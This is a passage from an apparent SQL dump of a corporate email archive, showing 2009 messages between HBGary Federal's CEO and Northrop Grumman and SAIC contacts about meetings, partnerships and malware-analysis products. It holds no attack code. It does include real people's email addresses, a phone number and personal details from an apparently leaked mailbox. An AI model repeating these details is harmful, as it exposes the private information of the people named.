with well known capabilities are also\r\nattractive grounds for a category of highly talented people that tend to shy\r\naway from the larger organizations.  Ted and I are good at building these\r\ntypes of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think in these few areas as a first cut HBGary could be a\r\nvaluable asset to a company like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15857,'aaron_hbgary_com/15857.html'),(380,'2009-12-04','\"Luti, William\" <William.Luti@ngc.com>','/aaron@hbgary.com/new/1296999783.M611398P3547Q380.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent. How about 2pm if that gives you enough time to get back\r\nfrom DC.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 8:01 AM\r\nTo: Luti, William\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreat. &nbsp;I am taking my kids to school right now and\r\nhave am 11am meeting down near the capital, but I am free all afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 4, 2009, at 7:56 AM, &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I\r\nhave an open day (Friday) so if you&#8217;d like to get together today at\r\nGreenberry coffee in McLean I can make it. If not, I believe we are on for\r\nMonday morning. Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\nthanks for the update and I&#8217;m delighted you landed well. Yes, let&#8217;s\r\nget together for coffee soon to catch up. I&#8217;ll have Kathy Zavala set\r\nsomething up this week (I&#8217;m in LA but back Thursday). Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse. &nbsp;Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat. &nbsp;My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution. &nbsp;HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena. &nbsp;Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n&nbsp;Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations. &nbsp;Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12764,'aaron_hbgary_com/12764.html'),(381,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999783.M800760P3547Q381.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Loving Life','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: December 3, 2009 11:31:54 PM ESTTo: Tom Conroy &lt;conroy.tom@gmail.com&gt;Subject: Loving Life\r\nTom,First I just have to say...I have not had this much fun since Ted and I were working with you to win Romas and Bluebird.  I spent the last few days at the AFCEA solutions conference and had lots of folks, government and industry, wanting to talk with me.  HBGary, and this is as unbias as I can make it, has some amazing technology that I think will be very significant in the near future.  Their Malware Genome and Digital DNA products are the future of cyber protection, based on behavior and characteristics of malware, and they work.  Right now we have a malware genome of 3500 traits/characteristics and it catches 75% of all malware, including zero day attacks.\r\nI have been working with Palantir and Xetron to develop this group that is going to try and tackle some bits of Attribution.  I received some advise from some NSA folks at the conference to also include Carnegie Melon as they are just starting a similar effort for NSA, so I will reach out to them.\r\nBrian Masterson will probably reach out to you for some advice/direction.  Xetron is very worried about IS.  My EXTERNAL opinion, IS has lost or never had its way for cyber, Xetron is the best thing Northrop has going and they are hungry to make a difference.  I told Brian you would be an advocate as much as you could.  For that matter, having gone around these last few weeks talking with various companies (GD, SAIC, CSC, Mantech)  Northrop is drastically falling behind in cyber.  Northrop has hitched its wagon to NCR and TU, both of which are the absolute wrong things to develop a successful cyber strategy on.  Just my opinion.\r\nI am meeting with Bill Luti Monday morning.  I am extremely curious what he wants to talk about, looking forward to it.Aaron\r\n',5843,'aaron_hbgary_com/5843.html'),(382,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999783.M982036P3547Q382.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Status','They want to talk about a partnership.From my iPhoneBegin forwarded message:From: &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt;\r\nDate: December 4, 2009 7:56:33 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: FW: Status\r\n\r\n\r\n\r\n\r\nAaron, I have an open day (Friday) so if you’d like to get\r\ntogether today at Greenberry coffee in McLean I can make it. If not, I believe\r\nwe are on for Monday morning. Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron, thanks for the update and I’m delighted you landed\r\nwell. Yes, let’s get together for coffee soon to catch up. I’ll\r\nhave Kathy Zavala set something up this week (I’m in LA but back\r\nThursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Bill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny time you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI am very excited about HBGarys capabilities in malware\r\nanalysis and incident response.  Their new product suite is the closest I\r\nhave seen to being able to identify and counter the zero day threat.  My\r\nfirst meeting in my new position was with Palantir today to discuss the\r\nstrength of an HBGary/Palantir combined capability.  I believe marrying\r\nHBGary&#39;s strong malware analysis and fingerprinting capabilities with Palantirs\r\nlink analysis capabilities could produce a joined capability that can make some\r\nheadway towards attribution.  HBGary Federal will focus on building a core\r\nof highly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn addition HBGary Federal will start to build services and\r\nsolutions business in the information operations arena.  Being the CEO of\r\na small organization affords me certain latitudes to develop capabilities and\r\noperate in certain ways that the larger defense contractors would not touch for\r\nrisk reasons.  Small companies with well known capabilities are also\r\nattractive grounds for a category of highly talented people that tend to shy\r\naway from the larger organizations.  Ted and I are good at building these\r\ntypes of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI think in these few areas as a first cut HBGary could be a\r\nvaluable asset to a company like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Nov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14174,'aaron_hbgary_com/14174.html'),(383,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999784.M164130P3547Q383.eml','\"Luti, William\" <William.Luti@ngc.com>','Re: Status','Bill,I should be able to make 2pm.  See you there.  It&#39;s in a strip mall a little offset from the road.AaronFrom my iPhone\r\nOn Dec 4, 2009, at 8:03 AM, &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt; wrote:\r\n\r\n\r\n\r\nExcellent. How about 2pm if that gives you enough time to get back\r\nfrom DC.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 8:01 AM\r\nTo: Luti, William\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGreat.  I am taking my kids to school right now and\r\nhave am 11am meeting down near the capital, but I am free all afternoon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 4, 2009, at 7:56 AM, &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I\r\nhave an open day (Friday) so if you’d like to get together today at\r\nGreenberry coffee in McLean I can make it. If not, I believe we are on for\r\nMonday morning. Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\n\r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nAaron,\r\nthanks for the update and I’m delighted you landed well. Yes, let’s\r\nget together for coffee soon to catch up. I’ll have Kathy Zavala set\r\nsomething up this week (I’m in LA but back Thursday). Best, Bill\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse.  Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat.  My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability.  I believe marrying HBGary&#39;s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution.  HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena.  Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations.  Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAaron -\r\n\r\nI&#39;m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15949,'aaron_hbgary_com/15949.html'),(384,'2009-12-04','\"Luti, William\" <William.Luti@ngc.com>','/aaron@hbgary.com/new/1296999784.M367049P3547Q384.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nVery good. See you there.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 8:25 AM\r\nTo: Luti, William\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBill,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI should be able to make 2pm. &nbsp;See you there.\r\n&nbsp;It\'s in a strip mall a little offset from the road.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 4, 2009, at 8:03 AM, &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nExcellent.\r\nHow about 2pm if that gives you enough time to get back from DC.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, December 04, 2009 8:01 AM\r\nTo: Luti, William\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreat.\r\n&nbsp;I am taking my kids to school right now and have am 11am meeting down\r\nnear the capital, but I am free all afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 4, 2009, at 7:56 AM, &quot;Luti, William&quot; &lt;William.Luti@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, I\r\nhave an open day (Friday) so if you&#8217;d like to get together today at\r\nGreenberry coffee in McLean I can make it. If not, I believe we are on for\r\nMonday morning. Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Luti, William \r\nSent: Tuesday, December 01, 2009 12:57 PM\r\nTo: Aaron Barr\r\nCc: Zavala, Kathy L. (IS)\r\nSubject: RE: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\nthanks for the update and I&#8217;m delighted you landed well. Yes, let&#8217;s\r\nget together for coffee soon to catch up. I&#8217;ll have Kathy Zavala set\r\nsomething up this week (I&#8217;m in LA but back Thursday). Best, Bill\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:09 AM\r\nTo: Luti, William\r\nCc: Conroy, Thomas W.\r\nSubject: Re: Status\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nBill,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAny\r\ntime you want to talk just let me know.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam very excited about HBGarys capabilities in malware analysis and incident\r\nresponse. &nbsp;Their new product suite is the closest I have seen to being\r\nable to identify and counter the zero day threat. &nbsp;My first meeting in my\r\nnew position was with Palantir today to discuss the strength of an\r\nHBGary/Palantir combined capability. &nbsp;I believe marrying HBGary\'s strong\r\nmalware analysis and fingerprinting capabilities with Palantirs link analysis\r\ncapabilities could produce a joined capability that can make some headway\r\ntowards attribution. &nbsp;HBGary Federal will focus on building a core of\r\nhighly trained and talented analysts that can leverage these tools to their\r\nfullest potential.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIn\r\naddition HBGary Federal will start to build services and solutions business in\r\nthe information operations arena. &nbsp;Being the CEO of a small organization\r\naffords me certain latitudes to develop capabilities and operate in certain\r\nways that the larger defense contractors would not touch for risk reasons.\r\n&nbsp;Small companies with well known capabilities are also attractive grounds\r\nfor a category of highly talented people that tend to shy away from the larger\r\norganizations. &nbsp;Ted and I are good at building these types of teams.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI\r\nthink in these few areas as a first cut HBGary could be a valuable asset to a\r\ncompany like Northrop.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nV/R,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n719.510.i478\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nNov 30, 2009, at 9:54 PM, Conroy, Thomas W. wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron -\r\n\r\nI\'m flying to LA with Bill Luti and mentioned that you and Ted have landed at\r\nHBGary. Bill was very interested and asked for contact information. So here you\r\ngo.\r\n\r\nMy great hope is that by working together, NGC and HBGary, we can do much more\r\nthan we could do apart. And that together we can provide breakthrough national\r\nsecurity enhancements.\r\n\r\nGood luck.\r\n\r\nTom\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11023,'aaron_hbgary_com/11023.html'),(385,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999784.M536890P3547Q385.eml','\"Thomas W. Conroy\" <Tom.Conroy@ngc.com>','Differnet idea','Ok maybe I missed an idea.  What if u integrated digital DNA into the\r\nTU framework?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',9155,'aaron_hbgary_com/9155.html'),(386,'2009-12-04','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1296999784.M709794P3547Q386.eml','aaron@hbgary.com','Re: Differnet idea','\r\n\r\n\r\n\r\n\r\nRe: Differnet idea\r\n\r\n\r\n\r\n\r\nNow you\'re talking.\r\nBTW, Bill Luti just announced he\'s leaving NGC. Big loss.\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Fri Dec 04 07:44:47 2009\r\nSubject: Differnet idea\r\n\r\nOk maybe I missed an idea.&nbsp; What if u integrated digital DNA into the\r\nTU framework?\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\n\r\n\r\n\r\n',8172,'aaron_hbgary_com/8172.html'),(387,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999784.M970618P3547Q387.eml','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','Re: Differnet idea','That is a loss.  Do u know where he&#39;s going?So this idea would need to integrate with mcafee ePo for long term host based.  Mcafee ePo is the center piece for DISA HBSS and HBGary already has a partnership with Mcafee and Digital DNA is integrated into their product.\r\nShould I reach out to jolly?  Not sure what my status is?Aaron   From my iPhoneOn Dec 4, 2009, at 8:47 AM, &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNow you&#39;re talking.\r\nBTW, Bill Luti just announced he&#39;s leaving NGC. Big loss.\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Fri Dec 04 07:44:47 2009\r\nSubject: Differnet idea\r\n\r\nOk maybe I missed an idea.  What if u integrated digital DNA into the\r\nTU framework?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',15727,'aaron_hbgary_com/15727.html'),(388,'2009-12-04','\"Conroy, Thomas W.\" <Tom.Conroy@ngc.com>','/aaron@hbgary.com/new/1296999785.M155705P3547Q388.eml','aaron@hbgary.com','Re: Differnet idea','\r\nYes do reach out and cc Jim Barnett and me if that\'s OK. No idea where Bill is going. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Conroy, Thomas W.Sent: Fri Dec 04 08:09:54 2009Subject: Re: Differnet idea\r\nThat is a loss.  Do u know where he&#39;s going?So this idea would need to integrate with mcafee ePo for long term host based.  Mcafee ePo is the center piece for DISA HBSS and HBGary already has a partnership with Mcafee and Digital DNA is integrated into their product.\r\nShould I reach out to jolly?  Not sure what my status is?Aaron   From my iPhoneOn Dec 4, 2009, at 8:47 AM, &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nNow you&#39;re talking.\r\nBTW, Bill Luti just announced he&#39;s leaving NGC. Big loss.\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Fri Dec 04 07:44:47 2009\r\nSubject: Differnet idea\r\n\r\nOk maybe I missed an idea.  What if u integrated digital DNA into the\r\nTU framework?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n',3482,'aaron_hbgary_com/3482.html'),(389,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999785.M351984P3547Q389.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Differnet idea','From my iPhoneBegin forwarded message:From: &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt;\r\nDate: December 4, 2009 9:18:49 AM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Differnet idea\r\n\r\nYes do reach out and cc Jim Barnett and me if that&#39;s OK. No idea where Bill is going. \r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Fri Dec 04 08:09:54 2009Subject: Re: Differnet idea\r\n\r\nThat is a loss.  Do u know where he&#39;s going?So this idea would need to integrate with mcafee ePo for long term host based.  Mcafee ePo is the center piece for DISA HBSS and HBGary already has a partnership with Mcafee and Digital DNA is integrated into their product.\r\n\r\nShould I reach out to jolly?  Not sure what my status is?Aaron   From my iPhoneOn Dec 4, 2009, at 8:47 AM, &quot;Conroy, Thomas W.&quot; &lt;Tom.Conroy@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nNow you&#39;re talking.\r\nBTW, Bill Luti just announced he&#39;s leaving NGC. Big loss.\r\n\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Conroy, Thomas W.\r\nSent: Fri Dec 04 07:44:47 2009\r\nSubject: Differnet idea\r\n\r\nOk maybe I missed an idea.  What if u integrated digital DNA into the\r\nTU framework?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2780,'aaron_hbgary_com/2780.html'),(390,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999785.M550138P3547Q390.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update','Begin forwarded message:From: &quot;Rohlman, William H.&quot; &lt;WILLIAM.H.ROHLMAN@saic.com&gt;\r\nDate: December 4, 2009 8:42:24 AM MSTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Update\r\n\r\n\r\n\r\n\r\nCool!  Good hunting…\r\n\r\n \r\n\r\n\r\n\r\nBill\r\n\r\n 